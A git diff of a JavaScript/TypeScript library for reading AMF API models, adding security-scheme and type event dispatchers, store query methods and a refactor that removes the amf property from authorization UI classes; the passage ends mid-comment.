+import { ApiSecuritySchemeListItem } from '../types';
+
+declare interface ISecurityEvents {
+  /**
+   * Reads a Security definition from the store.
+   * Note, do not use this method to read the definition of a security scheme applied to an endpoint or operation.
+   * For that use `getRequirement()` instead.
+   * 
+   * @param target The node on which to dispatch the event
+   * @param id The id of the Payload to read.
+   */
+  get(target: EventTarget, id: string): Promise<ApiSecurityScheme>;
+  /**
+   * Reads a security requirement for an endpoint or operation.
+   * 
+   * @param target The node on which to dispatch the event
+   * @param id The id of the Payload to read.
+   */
+  getRequirement(target: EventTarget, id: string): Promise<ApiSecurityRequirement>;
+  /**
+   * Lists the security definitions for the API.
+   * @param target The node on which to dispatch the event
+   */
+  list(target: EventTarget): Promise<ApiSecuritySchemeListItem[]>;
+  /** 
+   * Dispatched to inform about security settings change.
+   * @param target The node on which to dispatch the event
+   * @param settings The settings to apply.
+   */
+  settingsChanged(target: EventTarget, settings: unknown): void;
+}
+
+export declare const SecurityEvents: Readonly<ISecurityEvents>;
diff --git a/src/events/SecurityEvents.js b/src/events/SecurityEvents.js
new file mode 100644
index 0000000..e420e2b
--- /dev/null
+++ b/src/events/SecurityEvents.js
@@ -0,0 +1,64 @@
+/* eslint-disable max-classes-per-file */
+import { EventTypes } from './EventTypes.js';
+import { ApiStoreContextEvent, ApiStoreReadEvent } from './BaseEvents.js';
+
+/** @typedef {import('../types').ApiSecuritySchemeListItem} ApiSecuritySchemeListItem */
+/** @typedef {import('../helpers/api').ApiSecurityScheme} ApiSecurityScheme */
+/** @typedef {import('../helpers/api').ApiSecurityRequirement} ApiSecurityRequirement */
+
+export const SecurityEvents = {
+  /**
+   * Reads a Security definition from the store.
+   * Note, do not use this method to read the definition of a security scheme applied to an endpoint or operation.
+   * For that use `getRequirement()` instead.
+   * 
+   * @param {EventTarget} target The node on which to dispatch the event
+   * @param {string} id The id of the Payload to read.
+   * @returns {Promise<ApiSecurityScheme>}
+   */
+  get: async (target, id) => {
+    const e = new ApiStoreReadEvent(EventTypes.Security.get, id);
+    target.dispatchEvent(e);
+    return e.detail.result;
+  },
+  /**
+   * Reads a security requirement for an endpoint or operation.
+   * 
+   * @param {EventTarget} target The node on which to dispatch the event
+   * @param {string} id The id of the Payload to read.
+   * @returns {Promise<ApiSecurityRequirement>}
+   */
+  getRequirement: async (target, id) => {
+    const e = new ApiStoreReadEvent(EventTypes.Security.getRequirement, id);
+    target.dispatchEvent(e);
+    return e.detail.result;
+  },
+  /**
+   * Lists the security definitions for the API.
+   * @param {EventTarget} target The node on which to dispatch the event
+   * @returns {Promise<ApiSecuritySchemeListItem[]>}
+   */
+  list: async (target) => {
+    const e = new ApiStoreContextEvent(EventTypes.Security.list);
+    target.dispatchEvent(e);
+    return e.detail.result;
+  },
+
+  /** 
+   * Dispatched to inform about security settings change.
+   * @param {EventTarget} target The node on which to dispatch the event
+   * @param {unknown} settings The settings to apply.
+   * @returns {void}
+   */
+  settingsChanged: (target, settings) => {
+    const e = new CustomEvent(EventTypes.Security.settingsChanged, { 
+      detail: settings,
+      bubbles: true,
+      composed: true,
+      cancelable: true,
+    });
+    target.dispatchEvent(e);
+  },
+};
+
+Object.freeze(SecurityEvents);
diff --git a/src/events/TypeEvents.d.ts b/src/events/TypeEvents.d.ts
new file mode 100644
index 0000000..bdb195b
--- /dev/null
+++ b/src/events/TypeEvents.d.ts
@@ -0,0 +1,18 @@
+import { ApiNodeShapeListItem } from '../types';
+import { ApiShapeUnion } from '../helpers/api';
+
+declare interface ITypeEvents {
+  /**
+   * Lists the type (schema) definitions for the API.
+   * @param target The node on which to dispatch the event
+   */
+  list(target: EventTarget): Promise<ApiNodeShapeListItem[]>;
+  /**
+   * Reads a type (schema) from the store.
+   * @param target The node on which to dispatch the event
+   * @param id The id of the object to read.
+   */
+  get(target: EventTarget, id: string): Promise<ApiShapeUnion>;
+}
+
+export declare const TypeEvents: Readonly<ITypeEvents>;
diff --git a/src/events/TypeEvents.js b/src/events/TypeEvents.js
new file mode 100644
index 0000000..46ae97b
--- /dev/null
+++ b/src/events/TypeEvents.js
@@ -0,0 +1,32 @@
+/* eslint-disable max-classes-per-file */
+import { EventTypes } from './EventTypes.js';
+import { ApiStoreContextEvent, ApiStoreReadEvent } from './BaseEvents.js';
+
+/** @typedef {import('../types').ApiNodeShapeListItem} ApiNodeShapeListItem */
+/** @typedef {import('../helpers/api').ApiShapeUnion} ApiShapeUnion */
+
+export const TypeEvents = {
+  /**
+   * Lists the type (schema) definitions for the API.
+   * @param {EventTarget} target The node on which to dispatch the event
+   * @returns {Promise<ApiNodeShapeListItem[]>}
+   */
+  list: async (target) => {
+    const e = new ApiStoreContextEvent(EventTypes.Type.list);
+    target.dispatchEvent(e);
+    return e.detail.result;
+  },
+  /**
+   * Reads a type (schema) from the store.
+   * @param {EventTarget} target The node on which to dispatch the event
+   * @param {string} id The id of the object to read.
+   * @returns {Promise<ApiShapeUnion>}
+   */
+  get: async (target, id) => {
+    const e = new ApiStoreReadEvent(EventTypes.Type.get, id);
+    target.dispatchEvent(e);
+    return e.detail.result;
+  },
+};
+
+Object.freeze(TypeEvents);
diff --git a/src/helpers/AmfHelperMixin.d.ts b/src/helpers/AmfHelperMixin.d.ts
index 1c21588..492fb85 100644
--- a/src/helpers/AmfHelperMixin.d.ts
+++ b/src/helpers/AmfHelperMixin.d.ts
@@ -1,9 +1,9 @@
 import { 
   AmfDocument, AsyncApi, DomainElement, EndPoint, Operation, Parameter, Payload, Request, Response, 
-  SecurityRequirement, SecurityScheme, Server, Shape, WebApi, Api
+  SecurityScheme, Server, Shape, WebApi, Api
 } from './amf';
 import { Namespace } from './Namespace';
-import { ComputeUriOptions, ServerQueryOptions, ServersQueryOptions } from './api';
+import { ServersQueryOptions } from './api';
 
 export {AmfHelperMixin};
 
@@ -22,6 +22,7 @@ export const expandKey: unique symbol;
 export const findAmfType: unique symbol;
 export const findReferenceObject: unique symbol;
 export const getArrayItems: unique symbol;
+export const computeReferenceSecurity: unique symbol;
 
 interface AmfHelperMixin {
 
@@ -382,4 +383,18 @@ interface AmfHelperMixin {
    * @returns The expanded value.
    */
   [expandKey](value: string): string;
+  /**
+   * Computes a security model from a reference (library for example).
+   * @param domainId Domain id of the security requirement to find.
+   * @returns Type definition or undefined if not found.
+   */
+  findSecurityScheme(domainId: string): SecurityScheme|undefined;
+
+  /**
+   * Computes a security model from a reference (library for example).
+   * @param reference AMF model for a reference to extract the data from
+   * @param selected Node ID to look for
+   * @returns Type definition or undefined if not found.
+   */
+  [computeReferenceSecurity](reference: DomainElement, selected: string): SecurityScheme|undefined;
 }
diff --git a/src/helpers/AmfHelperMixin.js b/src/helpers/AmfHelperMixin.js
index ce857f0..f232ae7 100644
--- a/src/helpers/AmfHelperMixin.js
+++ b/src/helpers/AmfHelperMixin.js
@@ -28,7 +28,6 @@ import { ns } from './Namespace.js';
 /** @typedef {import('./amf').Request} Request */
 /** @typedef {import('./amf').Response} Response */
 /** @typedef {import('./amf').Payload} Payload */
-/** @typedef {import('./amf').SecurityRequirement} SecurityRequirement */
 /** @typedef {import('./amf').SecurityScheme} SecurityScheme */
 /** @typedef {import('./api').ServersQueryOptions} ServersQueryOptions */
 /** @typedef {import('./api').ServerQueryOptions} ServerQueryOptions */
@@ -38,6 +37,7 @@ export const expandKey = Symbol('expandKey');
 export const findAmfType = Symbol('findAmfType');
 export const findReferenceObject = Symbol('findReferenceObject');
 export const getArrayItems = Symbol('getArrayItems');
+export const computeReferenceSecurity = Symbol('computeReferenceSecurity');
 
 /* eslint-disable class-methods-use-this */
 /* eslint-disable no-plusplus */
@@ -698,7 +698,7 @@ export const AmfHelperMixin = (base) => class extends base {
       if (!methods) {
         continue;
       }
-      if (!(methods instanceof Array)) {
+      if (!Array.isArray(methods)) {
         methods = [methods];
       }
       for (let j = 0, jLen = methods.length; j < jLen; j++) {
@@ -858,7 +858,7 @@ export const AmfHelperMixin = (base) => class extends base {
     if (!webApi || !selected) {
       return undefined;
     }
-    const key = this._getAmfKey(this.ns.schema.doc);
+    const key = this._getAmfKey(this.ns.aml.vocabularies.core.documentation);
     const docs = this._ensureArray(webApi[key]);
     return docs && docs.find((item) => item['@id'] === selected);
   }
@@ -1107,4 +1107,59 @@ export const AmfHelperMixin = (base) => class extends base {
     }
     return `${prefix}${key}`;
   }
+
+  /**
+   * Computes a security model from a reference (library for example).
+   * @param {string} domainId Domain id of the security requirement to find.
+   * @returns {SecurityScheme|undefined} Type definition or undefined if not found.
+   */
+  findSecurityScheme(domainId) {
+    const { amf } = this;
+    const declares = this._computeDeclares(amf);
+    let result;
+    if (declares) {
+      result = declares.find((item) => item['@id'] === domainId);
+    }
+    if (result) {
+      result = this._resolve(result);
+      return result;
+    }
+    const references = this._computeReferences(amf);
+    if (Array.isArray(references) && references.length) {
+      for (const ref of references) {
+        if (this._hasType(ref, this.ns.aml.vocabularies.document.Module)) {
+          result = this[computeReferenceSecurity](ref, domainId);
+          if (result) {
+            result = this._resolve(result);
+            return result;
+          }
+        }
+      }
+    }
+    return undefined;
+  }
+
+  /**
+   * Computes a security model from a reference (library for example).
+   * @param {DomainElement} reference AMF model for a reference to extract the data from
+   * @param {string} selected Node ID to look for
+   * @returns {SecurityScheme|undefined} Type definition or undefined if not found.
+   */
+  [computeReferenceSecurity](reference, selected) {
+    const declare = this._computeDeclares(reference);
+    if (!declare) {
+      return undefined;
+    }
+    let result = declare.find((item) => {
+      let declared = item;
+      if (Array.isArray(declared)) {
+        [declared] = declared;
+      }
+      return declared['@id'] === selected;
+    });
+    if (Array.isArray(result)) {
+      [result] = result;
+    }
+    return this._resolve(result);
+  }
 };
diff --git a/src/lib/ApiAuthDataHelper.js b/src/lib/ApiAuthDataHelper.js
index d008a4a..98d66ad 100644
--- a/src/lib/ApiAuthDataHelper.js
+++ b/src/lib/ApiAuthDataHelper.js
@@ -17,7 +17,6 @@ export class ApiAuthDataHelper extends UiDataHelper {
    */
   static setupCustom(element, init) {
     const i = new CustomAuth(init);
-    i.amf = element.amf;
     i.security = element.security;
     i.descriptionOpened = element.descriptionOpened;
     i.globalCache = element.globalCache;
@@ -39,7 +38,6 @@ export class ApiAuthDataHelper extends UiDataHelper {
    */
   static setupApiKey(element, init) {
     const i = new ApiKeyAuth(init);
-    i.amf = element.amf;
     i.security = element.security;
     i.globalCache = element.globalCache;
     return i;
@@ -59,7 +57,6 @@ export class ApiAuthDataHelper extends UiDataHelper {
    */
   static setupPassThrough(element, init) {
     const i = new PassThroughAuth(init);
-    i.amf = element.amf;
     i.security = element.security;
     i.descriptionOpened = element.descriptionOpened;
     i.globalCache = element.globalCache;
@@ -81,7 +78,6 @@ export class ApiAuthDataHelper extends UiDataHelper {
    */
   static setupOauth2(element, init) {
     const i = new OAuth2Auth(init);
-    i.amf = element.amf;
     i.security = element.security;
     i.globalCache = element.globalCache;
     // @ts-ignore
@@ -97,7 +93,6 @@ export class ApiAuthDataHelper extends UiDataHelper {
   static setupOauth1(element, init) {
     // @ts-ignore
     const i = new OAuth1Auth(init);
-    i.amf = element.amf;
     i.security = element.security;
     // @ts-ignore
     UiDataHelper.setupOauth1(element, init);
diff --git a/src/lib/auth-ui/ApiKeyAuth.js b/src/lib/auth-ui/ApiKeyAuth.js
index 4e8ac21..fda3911 100644
--- a/src/lib/auth-ui/ApiKeyAuth.js
+++ b/src/lib/auth-ui/ApiKeyAuth.js
@@ -11,12 +11,12 @@ import * as InputCache from '../InputCache.js';
 
 export default class ApiKeyAuth extends ApiUiBase {
   async initializeApiModel() {
-    const { amf, security } = this;
+    const { security } = this;
     const source = 'settings';
     const list = /** @type OperationParameter[] */ (this.parametersValue);
     this.parametersValue = list.filter(item => item.source !== source);
 
-    if (!amf || !security) {
+    if (!security) {
       return;
     }
     if (!security.types.includes(ns.aml.vocabularies.security.ParametrizedSecurityScheme)) {
diff --git a/src/lib/auth-ui/ApiUiBase.js b/src/lib/auth-ui/ApiUiBase.js
index abd731a..e54249e 100644
--- a/src/lib/auth-ui/ApiUiBase.js
+++ b/src/lib/auth-ui/ApiUiBase.js
@@ -38,35 +38,9 @@ export default class ApiUiBase extends AmfParameterMixin(AuthUiBase) {
     this.initializeApiModel();
   }
 
-  /**
-   * @returns {DomainElement}
-   */
-  get amf() {
-    return this[apiValue];
-  }
-
-  /**
-   * @param {DomainElement} value
-   */
-  set amf(value) {
-    const old = this[apiValue];
-    if (old === value) {
-      return;
-    }
-    this[apiValue] = value;
-    this.initializeApiModel();
-  }
-
-  // /**
-  //  * @param {AuthUiInit=} init
-  //  */
-  // constructor(init) {
-  //   super(init);
-  // }
-
   /**
    * To be implemented by the child classes.
-   * Called when `amf` or `security` value change. Should be used
+   * Called when the `security` value change. Should be used
    * to initialize the UI after setting AMF models.
    */
   initializeApiModel() {
diff --git a/src/lib/auth-ui/CustomAuth.js b/src/lib/auth-ui/CustomAuth.js
index 21081cb..49c4ba4 100644
--- a/src/lib/auth-ui/CustomAuth.js
+++ b/src/lib/auth-ui/CustomAuth.js
@@ -8,8 +8,6 @@ import * as InputCache from '../InputCache.js';
 /** @typedef {import('lit-element').TemplateResult} TemplateResult */
 /** @typedef {import('@advanced-rest-client/app').AuthUiInit} AuthUiInit */
 /** @typedef {import('@advanced-rest-client/events').Authorization.RamlCustomAuthorization} RamlCustomAuthorization */
-/** @typedef {import('../../helpers/amf').DomainElement} DomainElement */
-/** @typedef {import('../../helpers/amf').ParametrizedSecurityScheme} ParametrizedSecurityScheme */
 /** @typedef {import('../../helpers/api').ApiNodeShape} ApiNodeShape */
 /** @typedef {import('../../helpers/api').ApiParameter} ApiParameter */
 /** @typedef {import('../../helpers/api').ApiPropertyShape} ApiPropertyShape */
@@ -44,13 +42,13 @@ export default class CustomAuth extends ApiUiBase {
   }
 
   initializeApiModel() {
-    const { amf, security } = this;
+    const { security } = this;
     this.clearInit();
     const source = 'settings';
     const list = /** @type OperationParameter[] */ (this.parametersValue);
     this.parametersValue = list.filter(item => item.source !== source);
 
-    if (!amf || !security) {
+    if (!security) {
       return;
     }
     if (!security.types.includes(ns.aml.vocabularies.security.ParametrizedSecurityScheme)) {
diff --git a/src/lib/auth-ui/OAuth1Auth.js b/src/lib/auth-ui/OAuth1Auth.js
index f1bc547..bb63dd8 100644
--- a/src/lib/auth-ui/OAuth1Auth.js
+++ b/src/lib/auth-ui/OAuth1Auth.js
@@ -5,7 +5,6 @@ import Oauth1, { defaultSignatureMethods } from '@advanced-rest-client/app/src/e
 import { ns } from '../../helpers/Namespace.js';
 
 const securityValue = Symbol("securityValue");
-const apiValue = Symbol("apiValue");
 
 /** @typedef {import('../../helpers/api').ApiSecurityOAuth1Settings} ApiSecurityOAuth1Settings */
 /** @typedef {import('../../helpers/api').ApiParametrizedSecurityScheme} ApiParametrizedSecurityScheme */
@@ -31,25 +30,6 @@ export default class OAuth1Auth extends Oauth1 {
     this.initializeApiModel();
   }
 
-  /**
-   * @returns {DomainElement}
-   */
-  get amf() {
-    return this[apiValue];
-  }
-
-  /**
-   * @param {DomainElement} value
-   */
-  set amf(value) {
-    const old = this[apiValue];
-    if (old === value) {
-      return;
-    }
-    this[apiValue] = value;
-    this.initializeApiModel();
-  }
-
   reset() {
     this.signatureMethods = defaultSignatureMethods;
     // @ts-ignore
@@ -59,8 +39,8 @@ export default class OAuth1Auth extends Oauth1 {
   }
 
   initializeApiModel() {
-    const { amf, security } = this;
-    if (!amf || !security) {
+    const { security } = this;
+    if (!security) {
       this.reset();
       return;
     }
diff --git a/src/lib/auth-ui/OAuth2Auth.js b/src/lib/auth-ui/OAuth2Auth.js
index 2d488a4..eca18f8 100644
--- a/src/lib/auth-ui/OAuth2Auth.js
+++ b/src/lib/auth-ui/OAuth2Auth.js
@@ -10,12 +10,10 @@ import { Oauth2RamlCustomData } from '../Oauth2RamlCustomData.js';
 import { AmfParameterMixin } from '../AmfParameterMixin.js';
 
 const securityValue = Symbol("securityValue");
-const apiValue = Symbol("apiValue");
 const gtValue = Symbol("gtValue");
 
 /** @typedef {import('lit-element').TemplateResult} TemplateResult */
 /** @typedef {import('@advanced-rest-client/app').AuthUiInit} AuthUiInit */
-/** @typedef {import('../../helpers/amf').DomainElement} DomainElement */
 /** @typedef {import('../../helpers/api').ApiParametrizedSecurityScheme} ApiParametrizedSecurityScheme */
 /** @typedef {import('../../helpers/api').ApiNodeShape} ApiNodeShape */
 /** @typedef {import('../../helpers/api').ApiParameter} ApiParameter */
@@ -54,25 +52,6 @@ export default class OAuth2Auth extends AmfParameterMixin(Oauth2) {
     this.initializeApiModel();
   }
 
-  /**
-   * @returns {DomainElement}
-   */
-  get amf() {
-    return this[apiValue];
-  }
-
-  /**
-   * @param {DomainElement} value
-   */
-  set amf(value) {
-    const old = this[apiValue];
-    if (old === value) {
-      return;
-    }
-    this[apiValue] = value;
-    this.initializeApiModel();
-  }
-
   // @ts-ignore
   get grantType() {
     return this[gtValue];
@@ -99,8 +78,8 @@ export default class OAuth2Auth extends AmfParameterMixin(Oauth2) {
   }
 
   initializeApiModel() {
-    const { amf, security } = this;
-    if (!amf || !security) {
+    const { security } = this;
+    if (!security) {
       this.setupOAuthDeliveryMethod();
       this.updateGrantTypes();
       return;
diff --git a/src/lib/auth-ui/PassThroughAuth.js b/src/lib/auth-ui/PassThroughAuth.js
index e724981..9102e33 100644
--- a/src/lib/auth-ui/PassThroughAuth.js
+++ b/src/lib/auth-ui/PassThroughAuth.js
@@ -39,12 +39,12 @@ export default class PassThroughAuth extends ApiUiBase {
   }
 
   initializeApiModel() {
-    const { amf, security } = this;
+    const { security } = this;
     this.reset();
     const source = 'settings';
     const list = /** @type OperationParameter[] */ (this.parametersValue);
     this.parametersValue = list.filter(item => item.source !== source);
-    if (!amf || !security) {
+    if (!security) {
       return;
     }
     if (!security.types.includes(ns.aml.vocabularies.security.ParametrizedSecurityScheme)) {
diff --git a/src/store/AmfGraphStore.js b/src/store/AmfGraphStore.js
index 9656937..efacda7 100644
--- a/src/store/AmfGraphStore.js
+++ b/src/store/AmfGraphStore.js
@@ -26,7 +26,7 @@ export class AmfGraphStore {
    */
   async add(graph) {
     const id = v4();
-    const instance = new AmfStore(graph, this.target);
+    const instance = new AmfStore(this.target, graph);
     this.apis.set(id, instance);
     return id;
   }
diff --git a/src/store/AmfStore.d.ts b/src/store/AmfStore.d.ts
new file mode 100644
index 0000000..85a1488
--- /dev/null
+++ b/src/store/AmfStore.d.ts
@@ -0,0 +1,173 @@
+import { AmfHelperMixin } from '../helpers/AmfHelperMixin';
+import { AmfSerializer } from '../helpers/AmfSerializer';
+import { AmfDocument, DomainElement } from '../helpers/amf';
+import { ApiSummary, ApiEndPoint, ApiOperation, ServersQueryOptions, ApiServer, ApiDocumentation, ApiSecurityScheme, ApiSecurityRequirement, ApiRequest, ApiResponse, ApiPayload, ApiShapeUnion } from '../helpers/api';
+import { DocumentMeta, ApiEndPointWithOperationsListItem, ApiSecuritySchemeListItem, ApiNodeShapeListItem } from '../types';
+
+/**
+ * The store that provides an API to read data from the AMF graph model.
+ */
+export class AmfStore extends AmfHelperMixin(Object) {
+  /**
+   * The event target to dispatch the events on.
+   */
+  target: EventTarget;
+  /**
+   * The full API model.
+   */
+  amf: AmfDocument;
+  /** 
+   * The API serializer
+   */
+  serializer: AmfSerializer;
+  /** 
+   * For future use.
+   * Indicates that this store is read only.
+   */
+  readonly?: boolean;
+  /**
+   * @param eventsTarget The event target to dispatch the events on.
+   * @param graph The full API model.
+   */
+  constructor(eventsTarget?: EventTarget, graph?: AmfDocument);
+
+  __amfChanged(amf: AmfDocument): void;
+
+  /**
+   * @returns The list of domain types for the currently loaded document.
+   */
+  getDocumentTypes(): string[];
+
+  /**
+   * Gathers information about the loaded document.
+   * This is mainly used by the `api-documentation` element to decide which documentation to render.
+   */
+  documentMeta(): Promise<DocumentMeta>;
+
+  /**
+   * @returns API summary for the summary view.
+   */
+  apiSummary(): Promise<ApiSummary|null>;
+
+  /**
+   * @returns Currently loaded API's protocols
+   */
+  apiProtocols(): Promise<string[]|null>;
+
+  /**
+   * @returns Currently loaded API's version
+   */
+  apiVersion(): Promise<string|null>;
+
+  /**
+   * Finds an endpoint in the graph.
+   * @param id The domain id of the endpoint.
+   */
+  private findEndpoint(id: string): ApiEndPoint|null;
+  
+  /**
+   * Reads an endpoint by its id.
+   * @param id The domain id of the endpoint.
+   */
+  getEndpoint(id: string): Promise<ApiEndPoint|null>;
+
+  /**
+   * Reads an endpoint by its path.
+   * @param path The path value of the endpoint or channel name.
+   */
+  getEndpointByPath(path: string): Promise<ApiEndPoint|null>;
+
+  /**
+   * Lists all endpoints with operations included into the result.
+   */
+  listEndpointsWithOperations(): Promise<ApiEndPointWithOperationsListItem[]>;
+
+  /**
+   * Queries for the list of servers for method, if defined, or endpoint, if defined, or root level 
+   * @param query Server query options
+   * @returns The list of servers for given query.
+   */
+  queryServers(query?: ServersQueryOptions): Promise<ApiServer[]>;
+
+  /**
+   * Searches for an operation in the API.
+   * @param operationId The domain id of the operation to read.
+   * @param endpointId Optional endpoint id. When not set it searches through all endpoints.
+   */
+  private findOperation(operationId: string, endpointId?: string): ApiOperation|undefined;
+
+  /**
+   * Reads the operation model.
+   * @param operationId The domain id of the operation to read.
+   * @param endpointId Optional endpoint id. When not set it searches through all endpoints.
+   */
+  getOperation(operationId: string, endpointId?: string): Promise<ApiOperation>;
+
+  /**
+   * Finds an endpoint that has the operation.
+   * @param id Method name or the domain id of the operation to find
+   */
+  getOperationParent(id: string): Promise<ApiEndPoint|undefined>;
+
+  /**
+   * Lists the documentation definitions for the API.
+   */
+  listDocumentations(): Promise<ApiDocumentation[]>;
+
+  /**
+   * Reads the documentation object from the store.
+   * @param id The domain id of the documentation object
+   * @returns The read documentation.
+   */
+  getDocumentation(id: string): Promise<ApiDocumentation|undefined>;
+
+  /**
+   * Reads the SecurityScheme object from the graph.
+   * @param id The domain id of the SecurityScheme
+   */
+  getSecurityScheme(id: string): Promise<ApiSecurityScheme>;
+
+  /**
+   * Reads the SecurityRequirement object from the graph.
+   * @param id The domain id of the SecurityRequirement
+   */
+  getSecurityRequirement(id: string): Promise<ApiSecurityRequirement>;
+
+  /**
+   * Lists the security definitions for the API.
+   */
+  listSecurity(): Promise<ApiSecuritySchemeListItem[]>;
+
+  /**
+   * Reads the Request object from the graph.
+   * @param id The domain id of the Request
+   */
+  getRequest(id: string): Promise<ApiRequest>;
+
+  /**
+   * Reads the response data from the graph.
+   * @param id The domain id of the response.
+   */
+  getResponse(id: string): Promise<ApiResponse>;
+
+  /**
+   * Finds a payload in a request or a response object.
+   */
+  private findPayload(object: DomainElement, domainId: string): ApiPayload|undefined;
+
+  /**
+   * Reads Payload data from the graph
+   * @param id The domain id of the payload
+   */
+  getPayload(id: string): Promise<ApiPayload>;
+
+  /**
+   * Lists the type (schema) definitions for the API.
+   */
+  listTypes(): Promise<ApiNodeShapeListItem[]>;
+
+  /**
+   * @param id The domain id of the API type (schema).
+   */
+  getType(id: string): Promise<ApiShapeUnion>;
+}
diff --git a/src/store/AmfStore.js b/src/store/AmfStore.js
index 153c684..7179c77 100644
--- a/src/store/AmfStore.js
+++ b/src/store/AmfStore.js
@@ -1,3 +1,6 @@
+/* eslint-disable no-unused-vars */
+/* eslint-disable class-methods-use-this */
+/* eslint-disable no-continue */
 import { AmfHelperMixin } from '../helpers/AmfHelperMixin.js';
 import { AmfSerializer } from '../helpers/AmfSerializer.js';
 import { StoreEvents } from '../events/StoreEvents.js';
@@ -6,19 +9,30 @@ import { StoreEvents } from '../events/StoreEvents.js';
 /** @typedef {import('../helpers/amf').DomainElement} DomainElement */
 /** @typedef {import('../helpers/api').ApiSummary} ApiSummary */
 /** @typedef {import('../helpers/api').ApiEndPoint} ApiEndPoint */
+/** @typedef {import('../helpers/api').ApiOperation} ApiOperation */
 /** @typedef {import('../helpers/api').ServersQueryOptions} ServersQueryOptions */
 /** @typedef {import('../helpers/api').ApiServer} ApiServer */
+/** @typedef {import('../helpers/api').ApiDocumentation} ApiDocumentation */
+/** @typedef {import('../helpers/api').ApiSecurityScheme} ApiSecurityScheme */
+/** @typedef {import('../helpers/api').ApiSecurityRequirement} ApiSecurityRequirement */
+/** @typedef {import('../helpers/api').ApiRequest} ApiRequest */
+/** @typedef {import('../helpers/api').ApiResponse} ApiResponse */
+/** @typedef {import('../helpers/api').ApiPayload} ApiPayload */
+/** @typedef {import('../helpers/api').ApiShapeUnion} ApiShapeUnion */
 /** @typedef {import('../types').ApiEndPointWithOperationsListItem} ApiEndPointWithOperationsListItem */
+/** @typedef {import('../types').ApiSecuritySchemeListItem} ApiSecuritySchemeListItem */
+/** @typedef {import('../types').ApiNodeShapeListItem} ApiNodeShapeListItem */
+/** @typedef {import('../types').DocumentMeta} DocumentMeta */
 
 /**
  * The store that provides an API to read data from the AMF graph model.
  */
 export class AmfStore extends AmfHelperMixin(Object) {
   /**
-   * @param {AmfDocument=} graph The full API model.
    * @param {EventTarget=} eventsTarget The event target to dispatch the events on.
+   * @param {AmfDocument=} graph The full API model.
    */
-  constructor(graph, eventsTarget=window) {
+  constructor(eventsTarget=window, graph) {
     super();
     this.target = eventsTarget;
     let amf = graph;
@@ -51,7 +65,64 @@ export class AmfStore extends AmfHelperMixin(Object) {
   }
 
   /**
-   * @returns {Promise<ApiSummary|null>} 
+   * @returns {string[]} The list of domain types for the currently loaded document.
+   */
+  getDocumentTypes() {
+    let { amf } = this;
+    if (Array.isArray(amf)) {
+      [amf] = amf;
+    }
+    if (!amf) {
+      return [];
+    }
+    return this.serializer.readTypes(amf['@type']);
+  }
+
+  /**
+   * Gathers information about the loaded document.
+   * This is mainly used by the `api-documentation` element to decide which documentation to render.
+   * 
+   * @returns {Promise<DocumentMeta>}
+   */
+  async documentMeta() {
+    const result = /** @type DocumentMeta */ ({
+      isApi: false,
+      isAsync: false,
+      isFragment: false,
+      isLibrary: false,
+      types: this.getDocumentTypes(),
+      encodesId: undefined,
+    });
+    let { amf } = this;
+    if (Array.isArray(amf)) {
+      [amf] = amf;
+    }
+    if (!amf) {
+      return result;
+    }
+    const encodes = this._computeEncodes(amf);
+    result.encodesId = encodes && encodes['@id'];
+    const api = this._computeApi(amf);
+    const isApi = !!api;
+    result.isApi = isApi;
+    const { ns } = this;
+    if (isApi) {
+      result.isAsync = this._isAsyncAPI(amf);
+    } else if (result.types[0] === ns.aml.vocabularies.document.Module) {
+      result.isLibrary = true;
+    } else {
+      const fragmentTypes = [
+        ns.aml.vocabularies.security.SecuritySchemeFragment,
+        ns.aml.vocabularies.apiContract.UserDocumentationFragment,
+        ns.aml.vocabularies.shapes.DataTypeFragment,
+      ];
+      result.isFragment = fragmentTypes.some(type => result.types.includes(type));
+    }
+    return result;
+  }
+
+  /**
+   * @returns {Promise<ApiSummary|null>} API summary for the summary view.
    */
   async apiSummary() {
     const { amf } = this;
@@ -59,16 +130,45 @@ export class AmfStore extends AmfHelperMixin(Object) {
       return null;
     }
     const api = this._computeApi(amf);
+    if (!api) {
+      return null;
+    }
     const result = this.serializer.apiSummary(api);
     return result;
   }
 
   /**
-   * Reads an endpoint by its id.
+   * @returns {Promise<string[]|null>} Currently loaded API's protocols
+   */
+  async apiProtocols() {
+    const { amf } = this;
+    if (!amf) {
+      return null;
+    }
+    const wa = this._computeApi(this.amf);
+    const protocols = /** @type string[] */ (this._getValueArray(wa, this.ns.aml.vocabularies.apiContract.scheme));
+    return protocols;
+  }
+
+  /**
+   * @returns {Promise<string|null>} Currently loaded API's version
+   */
+  async apiVersion() {
+    const { amf } = this;
+    if (!amf) {
+      return null;
+    }
+    const version = this._computeApiVersion(amf);
+    return version;
+  }
+
+  /**
+   * Finds an endpoint in the graph.
    * @param {string} id The domain id of the endpoint.
-   * @returns {Promise<ApiEndPoint|null>} 
+   * @returns {ApiEndPoint|null} 
+   * @private
    */
-  async getEndpoint(id) {
+  findEndpoint(id) {
     const { amf } = this;
     if (!amf) {
       return null;
@@ -84,6 +184,15 @@ export class AmfStore extends AmfHelperMixin(Object) {
     const result = this.serializer.endPoint(endpoint);
     return result;
   }
+  
+  /**
+   * Reads an endpoint by its id.
+   * @param {string} id The domain id of the endpoint.
+   * @returns {Promise<ApiEndPoint|null>} 
+   */
+  async getEndpoint(id) {
+    return this.findEndpoint(id);
+  }
 
   /**
    * Reads an endpoint by its path.
@@ -147,4 +256,366 @@ export class AmfStore extends AmfHelperMixin(Object) {
     }
     return servers.map(s => this.serializer.server(s));
   }
+
+  /**
+   * Searches for an operation in the API.
+   * @param {string} operationId The domain id of the operation to read.
+   * @param {string=} endpointId Optional endpoint id. When not set it searches through all endpoints.
+   * @returns {ApiOperation|undefined}
+   */
+  findOperation(operationId, endpointId) {
+    if (endpointId) {
+      const ep = this.findEndpoint(endpointId);
+      if (!ep) {
+        return undefined;
+      }
+      return ep.operations.find((op) => op.id === operationId || op.method === operationId);
+    }
+    const { amf } = this;
+    if (!amf) {
+      return null;
+    }
+    const api = this._computeApi(amf);
+    if (!api) {
+      return null;
+    }
+    const endpoints = this._computeEndpoints(api);
+    if (!endpoints) {
+      return undefined;
+    }
+    const { apiContract } = this.ns.aml.vocabularies;
+    const opKey = this._getAmfKey(apiContract.supportedOperation);
+    for (const endpoint of endpoints) {
+      let operations = endpoint[opKey];
+      if (!operations) {
+        continue;
+      }
+      if (!Array.isArray(operations)) {
+        operations = [operations];
+      }
+      for (const operation of operations) {
+        if (operation['@id'] === operationId || this._getValue(operation, apiContract.method) === operationId) {
+          return this.serializer.operation(operation);
+        }
+      }
+    }
+    return undefined;
+  }
+
+  /**
+   * Reads the operation model.
+   * @param {string} operationId The domain id of the operation to read.
+   * @param {string=} endpointId Optional endpoint id. When not set it searches through all endpoints.
